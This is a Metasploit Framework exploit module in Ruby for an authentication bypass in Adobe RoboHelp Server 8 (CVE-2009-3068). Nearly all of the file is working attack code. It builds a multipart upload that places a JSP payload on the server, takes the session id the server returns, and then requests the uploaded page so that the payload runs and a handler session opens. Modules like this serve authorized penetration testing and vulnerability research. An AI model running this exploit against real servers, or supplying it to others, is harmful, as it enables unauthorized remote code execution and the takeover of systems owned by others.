##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Adobe RoboHelp Server 8 Arbitrary File Upload and Execute.',
			'Description'    => %q{
					This module exploits a authentication bypass vulnerability which
				allows remote attackers to upload and execute arbitrary code.
			},
			'Author'         => [ 'MC' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'Platform'       => 'win',
			'Privileged'     => true,
			'References'     =>
				[
					[ 'CVE', '2009-3068' ],
					[ 'OSVDB', '57896'],
					[ 'URL', 'www.intevydis.com/blog/?p=69' ],
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-066' ],
				],
			'Targets'        =>
				[
					[ 'Universal Windows Target',
						{
							'Arch'     => ARCH_JAVA,
							'Payload'  =>
								{
									'DisableNops' => true,
								},
						}
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Sep 23 2009'
		))

		register_options( [ Opt::RPORT(8080) ], self.class )
	end

	def exploit

		page = Rex::Text.rand_text_alpha_upper(8) + ".jsp"
		uid  = rand(20).to_s

		file =  "-----------------------------#{uid}\r\n"
		file << "Content-Disposition: form-data; name=\"filename\"; filename=\"#{page}\"\r\n"
		file << "Content-Type: application/x-java-archive\r\n\r\n"
		file << payload.encoded
		file << "\r\n"

		print_status("Sending our POST request...")

		res = send_request_cgi(
			{
				'uri'		=> '/robohelp/server?PUBLISH=' + uid,
				'version'	=> '1.1',
				'method'	=> 'POST',
				'data'		=> file,
				'headers'	=>
					{
						'Content-Type'		=> 'multipart/form-data; boundary=---------------------------' + uid,
						'UID'			=> uid,
					}
			}, 5)

		if ( res and res.message =~ /OK/ )
			id = res['sessionid'].to_s.strip

			print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...")
			data = send_request_raw({
					'uri'		=> '/robohelp/robo/reserved/web/' + id + '/' + page ,
					'method'	=> 'GET',
					'version'	=> '1.0',
			}, 5)

			handler
		else
			print_error("No SESSIONID acquired...")
			return
		end
	end
end